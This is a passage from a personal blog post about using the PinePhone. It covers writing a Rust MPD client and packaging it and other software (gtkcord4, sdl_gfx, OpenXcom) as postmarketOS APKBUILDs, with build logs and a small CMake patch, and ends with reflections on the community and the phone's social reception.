-#+END_EXPORT - -Basically, a sizable amount of code to set up these two views: =SongInfo=, which -is somewhat of a misnomer because it shows more than just information about the -currently-playing song, and =QueryInfo=, which is the view for searching through -the =mpd= database. Then there's some =mpsc= plumbing to get the UI to talk with the -thread that's responsible for talking to =mpd=. It's a big hunk of code, but I'm -confident it's sufficiently commented that I don't need to re-learn any literate -programming tools to talk about it in this article. - -I did all the development for this in Emacs on my primary workstation, keeping -in mind that I would eventually be putting this on a mobile phone, but otherwise -writing it as I would a desktop application. The feedback loop was much faster -than what I had when I was doing Android development all those years ago, since -I was literally compiling and running the program on my workstation. - -#+CAPTION: The primary view of Tunes as it appears on my workstation -[[./tunes-on-workstation.png]] - -The only part that was really affected by the mobile consideration was with -using a =ListStore= instead of just adding things into a =ListBox=. I'm frankly not -sure I did it right, but the intent was to have an application that doesn't -create a thousand labels at once, instead instantiating them as they come into -view. This is by no means a mobile-only consideration, but the PinePhone has an -eighth the memory of my workstation, and I have a big (20G) music collection. -Anyway, the right way to do it is described [[https://gtk-rs.org/gtk4-rs/stable/latest/book/list_widgets.html][here]], but that book is using GTK4, -so I wasn't able to lift it verbatim. - -The rest of it is standard Rust, once you realize that everything in GTK land is -basically an =Arc>=. Closures are a little funny, too, which is why you -see =let mut sender = sender.clone()= show up so frequently: we can't share the -same mutable reference across multiple invocations of the same closure[fn:12] - -I tried to go against the grain and use regular Rust structs (that implement -=AsRef=) instead of using subclassing, but you can see that I had to do it -anyway to shoehorn the data we got from =mpd= into the =ListStore=. I think the -struct-based composition is a little bit nicer to work with. - -Once I had the code tested, somewhat optimized, and refactored, I was ready to -try it out on the phone. - -*** Building and Installing the Application on PostmarketOS - -=pmbootstrap= comes with a nice =hello-world-rust= =APKBUILD= to get you started with -packaging your Rust application. - -#+BEGIN_SRC sh -# Maintainer: Oliver Smith <[REDACTED]> -pkgname=hello-world-rust -pkgver="0.1.1" -pkgrel=0 -pkgdesc="Small test program for (cross) compiling rust" -url="https://gitlab.com/ollieparanoid/hello-world-rust/" -arch="all" -license="Unlicense" -makedepends="cargo" -source="https://gitlab.com/ollieparanoid/hello-world-rust/-/archive/$pkgver/hello-world-rust-$pkgver.tar.bz2" - -build() { - cargo build --release --locked -} - -check() { - printf 'Hello, world!\n' > expected - target/release/hello_world_rust > real - diff -q expected real -} - -package() { - cargo install --path . --root="$pkgdir/usr" - rm "$pkgdir"/usr/.crates.toml -} - -sha512sums="b755b02529e6ad40a969d5d563bc28be1202c8008661b72335c8c9e6f06bc5f0220fa047f5444b552815df5184c3ab86eb2f6a4f70701962fa0d4bc9a25ab259 hello-world-rust-0.1.1.tar.bz2" -#+END_SRC - -I copied this over to a new directory under =cache_git= named =tunes=, threw my -source tree into a tarball, and edited the template =APKBUILD= to declare the -dependencies my application would need. - -#+BEGIN_SRC sh -# Maintainer: Jakob L. Kreuze <[REDACTED]> -pkgname=tunes -pkgver="0.1.1" -pkgrel=0 -pkgdesc="Mobile-friendly MPD client" -url="https://git.sr.ht/~jakob/tunes/" -arch="all" -license="GPL-3.0-or-later" -makedepends="cargo gtk+3.0-dev libhandy1-dev" -source="tunes-$pkgver.tar.gz" -options="!check" # no tests - -build() { - cargo build --release --locked -} - -package() { - cargo install --path . --root="$pkgdir/usr" - rm "$pkgdir"/usr/.crates.toml -} - -sha512sums="561c95dcd8cc9e61c7f2faeaa3ffbd5cbd4fc3383a8fe87825b7367343f89ad088de0dd9ca4305b11d22ec9d9e5c1c8300760f73b9b41a497b39dcd0808eb9f8 tunes-0.1.1.tar.gz" -#+END_SRC - -After that it was just =pmbootstrap -t 3600 build --arch=aarch64 tunes=[fn:13], -wait an hour or two, and I had a =tunes-0.1.1-r0.apk= I could work with. I =rsync='d -that over to my PinePhone and ran =apk add --allow-untrusted tunes-0.1.1-r0.apk=, -and it worked on the first try. - -#+CAPTION: The primary view of Tunes on the PinePhone -[[./tunes-on-pinephone.png]] - -I haven't updated the =APKBUILD= to install it, yet, but I've made a =tunes.desktop= -file so that the application shows up on my home screen. - -#+BEGIN_SRC conf -[Desktop Entry] -Type=Application -Version=1.0 -Name=Tunes -Comment=Mobile-friendly MPD client -Icon=mpd -Terminal=false -Exec=/usr/bin/tunes -Categories=Multimedia -#+END_SRC - -#+CAPTION: The entry for Tunes shows up on my home screen with the MPD logo. My wallpaper (a picture of my sweetheart) makes the text a little hard to read, so I apologize for that. -[[./tunes-on-home-screen.png]] - -Final thoughts? That was much more pleasant than anything I've done in Android -land. I've got an application that's actually useful to me that didn't take me -more than a week -- a week where I was working late most nights, mind you. - -It's still a proof-of-concept rather than a battle-tested application thats -ready for packaging upstream, but it's enough to go off of. I'm expecting to -continue working on it, but I might pull in [[https://github.com/Relm4/Relm4][Relm4]] or [[https://github.com/bodil/vgtk][vgtk]] to cut down on some of -the boilerplate and event loop spaghetti. - -**** Comments on the =mpd= interactions - -You may notice that I've vendored the entire =mpd= crate into the the =tunes= -repository. In short: the =mpd= crate is pretty old and a little broken. I ran -into [[https://github.com/kstep/rust-mpd/issues/40][this (two-year old!) issue]] using the query interface, so I cloned =master= -and applied SimonPersson's patch. Then I ran into /another/ issue where I was -trying to send a song path across a channel instead of the whole =Song=, and I -wasn't able to use that for the API calls I wanted to make, because =ToSongPath= -isn't implemented for =String= or =&str=. It should be, since there's an =impl -ToSongPath for dyn AsRef=, but there isn't, so I had to add my own =push_str= -method. I also merged in another [[https://github.com/kstep/rust-mpd/pull/43][pull request]] from SimonPersson which adds -=albumart= support... so I have a pseudo-fork of the =mpd= crate sitting around, -which I had to bring into version control if anyone was going to reasonably -build Tunes from source. - -When I eventually come back to this to make it more than a useful prototype, -I'll probably drop the 'mpd' crate for something that's better-maintained. -Either [[https://github.com/SimonPersson/mpdrs][mpdrs]] as it's a plain old fork of 'mpd' with the things I want, or -[[https://github.com/elomatreb/mpd_client][mpd_client]] if I decide I want to bring in all of [[https://tokio.rs/][Tokio]] for this little -application. Decisions, decisions. - -** Porting Software - -What one might expect to follow from "it's easy to develop for the PinePhone -because you're writing applications as if you were writing them for your -workstation" is that it should be relatively easy to port existing applications -as well. And this is indeed the case. The compile times can be painful, but I -was successful in cross-compiling [[https://github.com/diamondburned/gtkcord4][diamondburned's gtkcord4]] -- which has no -existing Alpine package to my knowledge -- to run on the PinePhone. - -#+BEGIN_SRC sh -# Contributor: Jakob L. Kreuze <[REDACTED]> -# Maintainer: Jakob L. Kreuze <[REDACTED]> -pkgname=gtkcord4 -pkgver=0.0.2 -pkgrel=0 -pkgdesc="GTK4 Discord client in Go" -url="https://github.com/diamondburned/gtkcord4" -arch="all" -license="GPL-3.0" -makedepends="gtk4.0-dev gobject-introspection-dev libcanberra-dev go" -source="$pkgname-$pkgver.tar.gz::https://github.com/diamondburned/gtkcord4/archive/refs/tags/v${pkgver}.tar.gz" - -build() { - go build -} - -package() { - install -D -m755 $pkgname "$pkgdir"/usr/bin/$pkgname -} - -sha512sums=" -1c0465f4c2d54794551811c0a536b610a51d3f795c403af3cf10954a46770b42d1aadef4709818f935aa54e2b413052546bdde5214f44e89d5ad2e2d7cbdf514 gtkcord4-0.0.2.tar.gz -" -#+END_SRC - -The above is all it took. I initialized =pmbootstrap=, made a directory named -=gtkcord4= under =cache_git/pmaports/main=, ran =pmbootstrap build --arch,=aarch64 -gktcord4=, and a couple hours later and I had a =gtkcord4-0.0.2-r0.apk= sitting -under =packages/v21.12/aarch64=. - -I'm not sure diamondburned ever anticipated that gtkcord4 would be running on a -mobile device, but thanks to their choice to use GTK4, I didn't have to make any -changes to the code and it still runs great on my device. - -#+CAPTION: gtkcord4 running on the PinePhone, showing a conversation between myself and my friend. -#+ATTR_HTML: :alt [10:46 AM] Jakob: If you managed to get enough samples, do you think you could do a TEMPEST-like attack on USB? [Line Break] [10:47 AM] Ergodic: I don't see why not [Line Break] [10:47 AM] Jakob: Or serial, or any other standard where the connection doesn't have a lot to keep it from being leaky [Line Break] [10:47 AM] Ergodic: I think Israel can dump ram from far away right? [Line Break] [10:47 AM] Ergodic: So pretty much anything [Line Break] [10:47 AM] Ergodic: Well [Line Break] [10:48 AM] Ergodic: Actually [Line Break] [10:48 AM] Ergodic: Wait [Line Break] [10:48 AM] Ergodic: With um [Line Break] [10:48 AM] Ergodic: A HdMI it doesn't matter if some data is wrong cuz you can keep resampling, same with ram [Line Break] [10:48 AM] Ergodic: But you can't with USB unless they're doing the same thing 40 times in a row 👀 [Line Break] [10:49 AM] Ergodic: Like depending on the protocol, how accurate do you wanna be -[[./gtkcord4-on-pinephone.png]] - -Some applications might need to be modified to work well on a touchscreen. I -haven't had to do that yet, and even if I did, I would expect it to be a -difficult topic to cover in this (already quite long) article. The part that I -will elaborate on is how we got to that magic code block above. The gtkcord4 -example is a little boring because of how little it takes to invoke the Go build -system,[fn:14] so let's port [[https://openxcom.org/][OpenXCOM]] instead. I'll start from scratch and -document my process as I go. - -Speaking of process, this is basically what I follow: - -1. Determine if the software in question is already packaged in another - source-based distribution (basically Gentoo or the Arch AUR). - 1. If so, translate the recipe to APKBUILD. In the case of Gentoo, figure out - what set of =USE= flags "make sense" as a default. - 2. Use [[https://pkgs.alpinelinux.org/packages][pkgs.alpinelinux.org]] to map each dependency in the original package - spec to an Alpine dependency. -2. If it isn't... - 1. Find a skeleton APKBUILD (like the "hello world" example in the - [[*Building and Installing the Application on PostmarketOS]["Building and Installing the Application on PostmarketOS"]] section). - 2. Fill it in with the instructions to compile from upstream. I find you need - to specify =build= and =package= as the bare minimum if you explicitly disable - =check=. - 3. Guess-and-check for dependencies. Sometimes upstream will be good about - enumerating them, sometimes not so much. - -I know that [[https://packages.gentoo.org/packages/games-engines/openxcom][openxcom is packaged in Gentoo]], so we'll start there. - -#+BEGIN_SRC sh -# Copyright 1999-2021 Gentoo Authors -# Distributed under the terms of the GNU General Public License v2 - -EAPI=7 - -inherit cmake xdg-utils - -DESCRIPTION="Open-source reimplementation of the popular UFO: Enemy Unknown" -HOMEPAGE="https://openxcom.org/" - -if [[ ${PV} == *9999 ]]; then - inherit git-r3 - EGIT_REPO_URI="https://github.com/SupSuper/OpenXcom.git" -else - COMMIT="ea9ac466221f8b4f8974d2db1c42dc4ad6126564" - SRC_URI="https://github.com/SupSuper/OpenXcom/archive/${COMMIT}.tar.gz -> ${P}.tar.gz" - KEYWORDS="~amd64 ~arm64 ~x86" - S="${WORKDIR}/OpenXcom-${COMMIT}" -fi - -LICENSE="GPL-3+ CC-BY-SA-4.0" -SLOT="0" -IUSE="doc" - -RDEPEND=" - >=dev-cpp/yaml-cpp-0.5.1 - media-libs/libsdl[opengl,video] - media-libs/sdl-gfx - media-libs/sdl-image[png] - media-libs/sdl-mixer[flac,mikmod,vorbis]" -DEPEND="${RDEPEND}" -BDEPEND="doc? ( app-doc/doxygen )" - -DOCS=( README.md ) - -src_compile() { - cmake_src_compile - use doc && cmake_build doxygen -} - -src_install() { - use doc && local HTML_DOCS=( "${BUILD_DIR}"/docs/html/. ) - cmake_src_install -} - -pkg_postinst() { - xdg_icon_cache_update - - elog "In order to play you need copy GEODATA, GEOGRAPH, MAPS, ROUTES, SOUND," - elog "TERRAIN, UFOGRAPH, UFOINTRO, UNITS folders from original X-COM game to" - elog "/usr/share/${PN}/UFO" - elog - elog "If you want to play the TFTD mod, you need to copy ANIMS, FLOP_INT," - elog "GEODATA, GEOGRAPH, MAPS, ROUTES, SOUND, TERRAIN, UFOGRAPH, UNITS folders" - elog "from the original Terror from the Deep game to" - elog "/usr/share/${PN}/TFTD" - elog - elog "If you need or want text in some language other than english, download:" - elog "https://openxcom.org/translations/latest.zip and uncompress it in" - elog "/usr/share/${PN}/common/Language" -} - -pkg_postrm() { - xdg_icon_cache_update -} -#+END_SRC - -Although I probably should, I'm not going to bother with =postinst= or =postrm= -right now. I'm also not going to build the docs. What we can tell immediately is -that this is a CMake project (so we should find an =APKBUILD= for something else -that uses CMake -- I used =gzdoom=) and the dependencies are the following: - -- =yaml-cpp= -- =sdl= -- =sdl_gfx= -- =sdl_image= -- =sdl_mixer= - -All of these are packaged in Alpine except =sdl_mixer=, so we'll need to port that -ourselves. I was able to take the =APKBUILD= for =sdl_mixer= and use that as a -skeleton. The packages are packaged very similarly, so I was able to fill in the -blanks with some of the info from the [[https://packages.gentoo.org/packages/media-libs/sdl-gfx][Gentoo package]]. - -#+BEGIN_SRC sh -# Contributor: Jakob L. Kreuze <[REDACTED]> -# Maintainer: Jakob L. Kreuze <[REDACTED]> -pkgname=sdl_gfx -pkgver=2.0.26 -pkgrel=3 -pkgdesc="Graphics drawing primitives library for SDL" -url="https://www.ferzkopp.net/wordpress/2016/01/02/sdl_gfx-sdl2_gfx/" -arch="all" -license="zlib" -makedepends="sdl-dev" -subpackages="$pkgname-dev" -source="http://www.ferzkopp.net/Software/SDL_gfx-2.0/SDL_gfx-$pkgver.tar.gz" -builddir="$srcdir"/SDL_gfx-$pkgver - -prepare() { - default_prepare - update_config_sub - update_config_guess -} - -build() { - ./configure \ - --build=$CBUILD \ - --host=$CHOST \ - --prefix=/usr \ - --sysconfdir=/etc \ - --mandir=/usr/share/man \ - --infodir=/usr/share/info - make -} - -package() { - make DESTDIR="$pkgdir" install -} - -sha512sums="e571caa0d7575683efd4cf8f0a41ab10f4acf913f9ece216ac823af11da22c8734fc2c0ea049009a3e1a53715e49622f5bfcfdbdafb95e5151990d0a4eb69c01 SDL_gfx-2.0.26.tar.gz" -#+END_SRC - -It took a little bit of trial and error to arrive at the =APKBUILD= above. I first -ran into an issue with autotools not recognizing the target platform. - -#+BEGIN_SRC prog ->>> sdl_gfx: Building pmos/sdl_gfx 2.0.26-r3 (using abuild 3.9.0-r0) started Tue, 23 Aug 2022 01:28:27 +0000 ->>> sdl_gfx: Checking sanity of /home/pmos/build/APKBUILD... ->>> sdl_gfx: Cleaning up srcdir ->>> sdl_gfx: Cleaning up pkgdir ->>> sdl_gfx: Fetching http://www.ferzkopp.net/Software/SDL_gfx-2.0/SDL_gfx-2.0.26.tar.gz - % Total % Received % Xferd Average Speed Time Time Time Current - Dload Upload Total Spent Left Speed -100 251 100 251 0 0 1764 0 --:--:-- --:--:-- --:--:-- 2127 -100 1729k 100 1729k 0 0 2103k 0 --:--:-- --:--:-- --:--:-- 2103k ->>> sdl_gfx: Fetching http://www.ferzkopp.net/Software/SDL_gfx-2.0/SDL_gfx-2.0.26.tar.gz ->>> sdl_gfx: Checking sha512sums... -SDL_gfx-2.0.26.tar.gz: OK ->>> sdl_gfx: Unpacking /var/cache/distfiles/SDL_gfx-2.0.26.tar.gz... -checking build system type... Invalid configuration `aarch64-alpine-linux-musl': machine `aarch64-alpine-linux' not recognized -configure: error: /bin/sh ./config.sub aarch64-alpine-linux-musl failed ->>> ERROR: sdl_gfx: build failed -(011680) [21:28:30] ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ -(011680) [21:28:30] NOTE: The failed command's output is above the ^^^ line in the log file: /home/jakob/Containers/pmbootstrap/pmbootstrap/log.txt -(011680) [21:28:30] ERROR: Command failed (exit code 1): (buildroot_aarch64) % cd /home/pmos/build; busybox su pmos -c CARCH=aarch64 SUDO_APK='abuild-apk --no-progress' PATH=/native/usr/lib/crossdirect/aarch64:/usr/lib/ccache/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin HOME=/home/pmos abuild -D postmarketOS -d -(011680) [21:28:30] See also: -(011680) [21:28:30] Traceback (most recent call last): - File "/home/jakob/Containers/pmbootstrap/.venv/lib/python3.10/site-packages/pmb/__init__.py", line 49, in main - getattr(frontend, args.action)(args) - File "/home/jakob/Containers/pmbootstrap/.venv/lib/python3.10/site-packages/pmb/helpers/frontend.py", line 114, in build - if not pmb.build.package(args, package, arch_package, force, - File "/home/jakob/Containers/pmbootstrap/.venv/lib/python3.10/site-packages/pmb/build/_package.py", line 520, in package - (output, cmd, env) = run_abuild(args, apkbuild, arch, strict, force, cross, - File "/home/jakob/Containers/pmbootstrap/.venv/lib/python3.10/site-packages/pmb/build/_package.py", line 447, in run_abuild - pmb.chroot.user(args, cmd, suffix, "/home/pmos/build", env=env) - File "/home/jakob/Containers/pmbootstrap/.venv/lib/python3.10/site-packages/pmb/chroot/user.py", line 26, in user - return pmb.chroot.root(args, cmd, suffix, working_dir, output, - File "/home/jakob/Containers/pmbootstrap/.venv/lib/python3.10/site-packages/pmb/chroot/root.py", line 76, in root - return pmb.helpers.run_core.core(args, msg, cmd_sudo, None, output, - File "/home/jakob/Containers/pmbootstrap/.venv/lib/python3.10/site-packages/pmb/helpers/run_core.py", line 347, in core - check_return_code(args, code, log_message) - File "/home/jakob/Containers/pmbootstrap/.venv/lib/python3.10/site-packages/pmb/helpers/run_core.py", line 219, in check_return_code - raise RuntimeError(f"Command failed (exit code {str(code)}): " + -RuntimeError: Command failed (exit code 1): (buildroot_aarch64) % cd /home/pmos/build; busybox su pmos -c CARCH=aarch64 SUDO_APK='abuild-apk --no-progress' PATH=/native/usr/lib/crossdirect/aarch64:/usr/lib/ccache/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin HOME=/home/pmos abuild -D postmarketOS -d -#+END_SRC - -Fortunately, it wasn't too difficult to find the issue online. Someone had tried -(unsuccessfully) to [[https://gitlab.alpinelinux.org/alpine/aports/-/merge_requests/15673][add sdl_ttf to aports]] and ran into the same issue. The -recommendation in the MR comments was to include the =prepare= block above. - -When that was sorted, I had a =sdl_gfx= package that I could use as a dependency -for =openxcom=. - -#+BEGIN_SRC sh -# Contributor: Jakob L. Kreuze <[REDACTED]> -# Maintainer: Jakob L. Kreuze <[REDACTED]> -_commit="ea9ac466221f8b4f8974d2db1c42dc4ad6126564" -pkgname=openxcom -pkgver=1.0.0 -pkgrel=1 -pkgdesc="Open-source reimplementation of the popular UFO: Enemy Unknown" -url="https://openxcom.org/" -arch="all" -license="GPL-3.0-or-later" -makedepends="cmake ninja yaml-cpp-dev sdl-dev sdl_gfx-dev sdl_image-dev sdl_mixer-dev glu-dev libexecinfo-dev" -depends="libexecinfo" -source="openxcom-$pkgver.tar.gz::https://github.com/OpenXcom/OpenXcom/archive/$_commit.tar.gz -0001-Link-execinfo-unconditionally.patch" -builddir="$srcdir"/OpenXcom-$_commit - -build() { - if [ "$CBUILD" != "$CHOST" ]; then - CMAKE_CROSSOPTS="-DCMAKE_SYSTEM_NAME=Linux -DCMAKE_HOST_SYSTEM_NAME=Linux" - fi - cmake -B build -G Ninja \ - -DCMAKE_BUILD_TYPE=Release \ - -DCMAKE_INSTALL_PREFIX=/usr \ - -DBUILD_SHARED_LIBS=True \ - $CMAKE_CROSSOPTS - cmake --build build -} - -package() { - DESTDIR="$pkgdir" cmake --install build -} - -sha512sums="57ff9a9cbbbf48b8c4f792458edf0590d7d0df9a5805eab13a4c984713311e98587afca00778e82bd66fb2f330b354ca80703b87922a92f9ae48e5bdecf68442 openxcom-1.0.0.tar.gz -de4cc52530200992fef0e723acd59fef1b214f5b12baabec4dcca03820fbbc38c30033c0707f918fccc29e7d0d67ddef0c2a7be56d21b2bba7221899c759c282 0001-Link-execinfo-unconditionally.patch" -#+END_SRC - -where =0001-Link-execinfo-unconditionally.patch= is the following: - -#+BEGIN_SRC diff -From 2fe3e39c90086c7e3953d83ce75b0686ee4f5813 Mon Sep 17 00:00:00 2001 -From: "Jakob L. Kreuze" <[REDACTED]> -Date: Tue, 23 Aug 2022 20:11:16 -0400 -Subject: [PATCH] Link execinfo unconditionally - ---- - src/CMakeLists.txt | 4 +--- - 1 file changed, 1 insertion(+), 3 deletions(-) - -diff --git a/src/CMakeLists.txt b/src/CMakeLists.txt -index d484380ba..b7d3020bd 100644 ---- a/src/CMakeLists.txt -+++ b/src/CMakeLists.txt -@@ -485,9 +485,7 @@ if ( WIN32 ) - endif () - - # backtrace(3) requires libexecinfo on some *BSD systems --if (${CMAKE_SYSTEM_NAME} MATCHES FreeBSD OR ${CMAKE_SYSTEM_NAME} MATCHES NetBSD OR ${CMAKE_SYSTEM_NAME} MATCHES OpenBSD) -- set ( system_libs -lexecinfo ) --endif () -+set ( system_libs -lexecinfo ) - - target_link_libraries ( openxcom ${system_libs} ${SDLIMAGE_LIBRARY} ${SDLMIXER_LIBRARY} ${SDLGFX_LIBRARY} ${SDL_LIBRARY} ${OPENGL_LIBRARIES} debug ${YAMLCPP_LIBRARY_DEBUG} optimized ${YAMLCPP_LIBRARY} ) - --- -2.37.2 - -#+END_SRC - -The first error I got was about a missing =mmintrin.h=. I opened up the source -code and found that was under an =IFDEF= for =MMX= support, so I did a =./configure ---help= to figure out how to disable that. After that, I was getting a message -about a missing =glu.h=. - -#+BEGIN_SRC prog -[63/313] Building CXX object src/CMakeFiles/openxcom.dir/Mod/RuleVideo.cpp.o -ninja: job failed: /native/usr/lib/crossdirect/aarch64/g++ -DDATADIR=\"/usr/share/openxcom/\" -DGIT_BUILD=1 -I/usr/include/SDL -I/usr/include/yaml-cpp -I/home/pmos/build/src/OpenXcom-ea9ac466221f8b4f8974d2db1c42dc4ad6126564/build -Os -fomit-frame-pointer -O3 -DNDEBUG -std=gnu++11 -MD -MT src/CMakeFiles/openxcom.dir/Mod/RuleVideo.cpp.o -MF src/CMakeFiles/openxcom.dir/Mod/RuleVideo.cpp.o.d -o src/CMakeFiles/openxcom.dir/Mod/RuleVideo.cpp.o -c /home/pmos/build/src/OpenXcom-ea9ac466221f8b4f8974d2db1c42dc4ad6126564/src/Mod/RuleVideo.cpp -In file included from /home/pmos/build/src/OpenXcom-ea9ac466221f8b4f8974d2db1c42dc4ad6126564/src/Mod/../Engine/OpenGL.h:15, - from /home/pmos/build/src/OpenXcom-ea9ac466221f8b4f8974d2db1c42dc4ad6126564/src/Mod/../Engine/Screen.h:22, - from /home/pmos/build/src/OpenXcom-ea9ac466221f8b4f8974d2db1c42dc4ad6126564/src/Mod/RuleVideo.cpp:21: -/usr/include/SDL/SDL_opengl.h:47:10: fatal error: GL/glu.h: No such file or directory - 47 | #include /* Header File For The GLU Library */ - | ^~~~~~~~~~ -compilation terminated. -ninja: subcommand failed ->>> ERROR: openxcom: build failed -#+END_SRC - -I went ahead and added the =glu-dev= dependency, after which point I was getting -some warnings about redefinitions. So I have a feeling this might have been -another thing that was behind an =IFDEF=, but that's a problem for later. - -#+BEGIN_SRC prog -[218/313] Building CXX object src/CMakeFiles/openxcom.dir/Engine/AdlibMusic.cpp.o -ninja: job failed: /native/usr/lib/crossdirect/aarch64/g++ -DDATADIR=\"/usr/share/openxcom/\" -DGIT_BUILD=1 -I/usr/include/SDL -I/usr/include/yaml-cpp -I/home/pmos/build/src/OpenXcom-ea9ac466221f8b4f8974d2db1c42dc4ad6126564/build -Os -fomit-frame-pointer -O3 -DNDEBUG -std=gnu++11 -MD -MT src/CMakeFiles/openxcom.dir/Engine/CrossPlatform.cpp.o -MF src/CMakeFiles/openxcom.dir/Engine/CrossPlatform.cpp.o.d -o src/CMakeFiles/openxcom.dir/Engine/CrossPlatform.cpp.o -c /home/pmos/build/src/OpenXcom-ea9ac466221f8b4f8974d2db1c42dc4ad6126564/src/Engine/CrossPlatform.cpp -/home/pmos/build/src/OpenXcom-ea9ac466221f8b4f8974d2db1c42dc4ad6126564/src/Engine/CrossPlatform.cpp:68:10: fatal error: execinfo.h: No such file or directory - 68 | #include - | ^~~~~~~~~~~~ -compilation terminated. -ninja: subcommand failed ->>> ERROR: openxcom: build failed -#+END_SRC - -The last errors I got were related to =execinfo=. This is, to my knowledge, a -=glibc= thing. Fortunately, Alpine being a popular base image in Docker land means -[[https://github.com/ddopson/node-segfault-handler/issues/70][the workarounds]] are easy to find on the 'net. The missing header file was one, -thing, but then I was getting some linker errors about a missing symbol for -=backtrace=. Searching came up with an [[https://discuss.pytorch.org/t/compiling-master-from-source-on-alpine-fails-with-undefined-reference-to-backtrace/64676][issue in PyTorch]] which gave me some -insight, and then I found a [[https://github.com/OpenXcom/OpenXcom/pull/1123][pull request upstream]] related to it. My patch above -just makes the fix in that pull request unconditional (in =master=, it's only -applied on BSD); we get all the =backtrace= symbols from =execinfo=, but we need to -make sure it's actually linked into the binary. - -Then.. shit. It built correctly, but my =pmbootstrap= setup was a version behind -the PostmarketOS on my phone (=v21.12= vs =v22.06=), so I was getting some -dependency resolution errors. I re-initialized =pmbootstrap= and then learned that -=sdl-dev= is no longer supported, so I had to backport it from =edge/testing=. It -was at least smooth sailing after that. - -#+CAPTION: OpenXcom running on the PinePhone. It performs surprisingly well. -[[./openxcom-on-pinephone.png]] - -So porting software to the PinePhone is relatively easy. - -You don't even have to go through half of the mess that I did if you don't care -about cross-compiling or having things tracked by the package manager. You could -probably just install the =gcc= toolchain and do a =make && sudo make install= on -your phone; Alpine/PostmarketOS have [[https://wiki.alpinelinux.org/wiki/Running_glibc_programs][glibc compatibility]]. Or, hell, use a -Flatpak/AppImage/Snap if you want to. - -However you do it, the end result is the same. You get to use the same Linux -applications on your phone that you would on your desktop, and I think that's -great. - -* Community - -Despite owning several PINE64 widgets and doodads, I've basically had no -interactions with the PINE64 community. I leverage community maintained -resources like the PINE64 wiki and the PINE64 forums frequently, but I don't -post regularly. I think I should, but at the time of writing this, I don't. - -The community of people who use the PinePhone is small, but those within are -very willing to helping others, which I admire. The best example I have of this -was when I was preparing for DEF CON and I emailed Biktorgj to ask about the -FOTA code in the EG25-G modem. I sent this in the morning while I was getting -ready for work and literally /minutes/ later I got a detailed response about how -it's been removed from the firmware. It was at that point I knew that the -PinePhone software stack was in good hands. - -(If you're curious, this was the response.) - -#+BEGIN_QUOTE -Hi, all the FOTA code from Quectel doesn't exist in the custom firmware: - -- LK bootloader has all the relevant code removed -- The main root filesystem doesn't even have a tool to download it -- The recovery partition, which in stock is used to apply the updates is replaced with a minimal bootable filesystem that doesn't have anything except adb, a shell and strace - -If there's something that could be broken into (discarding physical access, if someone has it you're done anyway) would need to be done with a bogus GSM network exploiting some bug in the ADSP firmware (but you could have that with any phone) - -Hope it helps :) -#+END_QUOTE - -But, really, these sorts of things make me want to be more involved in the -community. Maybe I'll do something related to mobile Linux for my master's -thesis. - -An unrelated aside: the only time I've heard of a trojan for Linux circulating -in the wild was a [[https://hackaday.com/2021/12/16/pinephone-malware-surprises-users-raises-questions/][snake game for the PinePhone]], but I don't think this says -terribly much about the PINE64 community. - -* Social Implications - -A few weeks ago I had a party at my place, and some chick was talking about how -she considered owning an Android phone to be a red flag. I turned to my friend -to say that I hoped my weird-ass Linux phone wasn't a red flag. I thought I was -funny. But in reality, the difference doesn't matter to non-technical folk. To -them it's just the color of a "bubble," or whatever. I don't understand why it's -a red flag, nor do I particularly care, I just wanted to lead with an anecdote -about why one's choice of mobile phone somehow carries stigma in my (doomed) -generation. If I cared about that, I probably wouldn't be using a PinePhone, but -I don't often surround myself with these types of people who care about what -kind of cell phone you have. - -There have been a couple of rough spots because of literal technical limitations -with the PinePhone -- for example, PostmarketOS v21.06 wasn't MMS-capable, so I -missed out on some group texts and photos that my parents were sending. But my -parents, my partner, and my friends haven't complained about me using a weird -ass half-functional phone. They've put up with it, and for that I'm -appreciative. That said, it's been a while since I've had one of those annoying -technical problems, so I'm not sure they've really noticed. - -All-in-all, the people I do tell about how I use a phone running mainline Linux -(mainly coworkers) find it cool but also very characteristic of who I am as a -person. I think that's a fair way to conclude this section. - -* Conclusions - -I hinted at this in the introduction, but I'll say it again: the PinePhone is -not a popular choice. I know precisely two people who own one. Both of whom seem -happy to own one. I appreciate the PinePhone, and there are others who -appreciate it as well, but the overwhelming opinion is that it isn't ready for -most "real life" use-cases. - -Come on down to the PINE64 mobile shop. We've got [[https://xnux.eu/log/#017][(hypothetical) exploding phones]] -and [[https://www.pine64.org/2022/08/18/a-response-to-martijns-blog/][core contributors leaving in protest of bureaucracy]]. - -The PinePhone is unique in that it's backed by hobbyists rather than big -companies. With the exception of some of its software components like the -mainline Linux kernel, it doesn't have the constant inflow of resources to make -it usable or convenient. It's well behind its "competitors" in terms of normal -usability and support for running popular mobile applications. That's enough to -make it a non-starter for many people. The PinePhone, and Linux phones more -broadly, are likely to only garner the "free software nerd" crowd for the -foreseeable future. - -I'm hopeful that, as big players like Google [[https://techcrunch.com/2022/07/05/google-backed-glance-to-launch-in-us-within-two-months/][continue moving in the wrong -direction]], interest in free and open alternatives will grow, and that we'll -see start to see non-Android Linux as a viable option some day. But that time is -certainly not now. - -My experiences have been positive, but I am dogmatic about software freedom and -privacy, and get by without a lot of what typical smartphones offer. Hence, I am -not the typical smartphone user. - -That said, if that brief summary of my situation resonates with you, the -PinePhone is an excellent choice. I love my PinePhone because it's more like a -workstation than some strange alien device that I can't easily hack on; it -integrates incredibly well with the rest of my personal computing stack. - -And it's certainly the best option on the market for me right now. The Librem 5 -is the PinePhone's main "competitor," and I would recommend reading Amos B. -Batto's article [[https://amosbbatto.wordpress.com/2021/12/10/comparing-l5-and-pp/][Comparing the Librem 5 USA and PinePhone Beta]] for some more -articulate thoughts about the differences, but in my case, the Librem 5 is -simply out of my price range. - -I would love a device like the PinePhone but with more typical hardware, like a -Qualcomm Snapdragon (though the [[https://wiki.postmarketos.org/wiki/Qualcomm_mainline_porting][mainline Linux support]] for newer Snapdragon SOCs -leaves a bit to be desired.) A bigger battery would be nice, too -- I wouldn't -care if it made the phone unreasonably thick. Modular and easily serviceable.. -with wake/suspend support that doesn't suck. Yeah. That's my dream phone. But I -expect it'll remain a dream for a long while, so for now, I love my -PinePhone.[fn:15] - ---- - -[fn:1] In practice, Android typically uses an outdated kernel with vendor-specific blobs and modifications, and it notably does _not_ use the GNU/Linux userland. [[https://en.wikipedia.org/wiki/Bionic_(software)][Bionic]] is the libc, 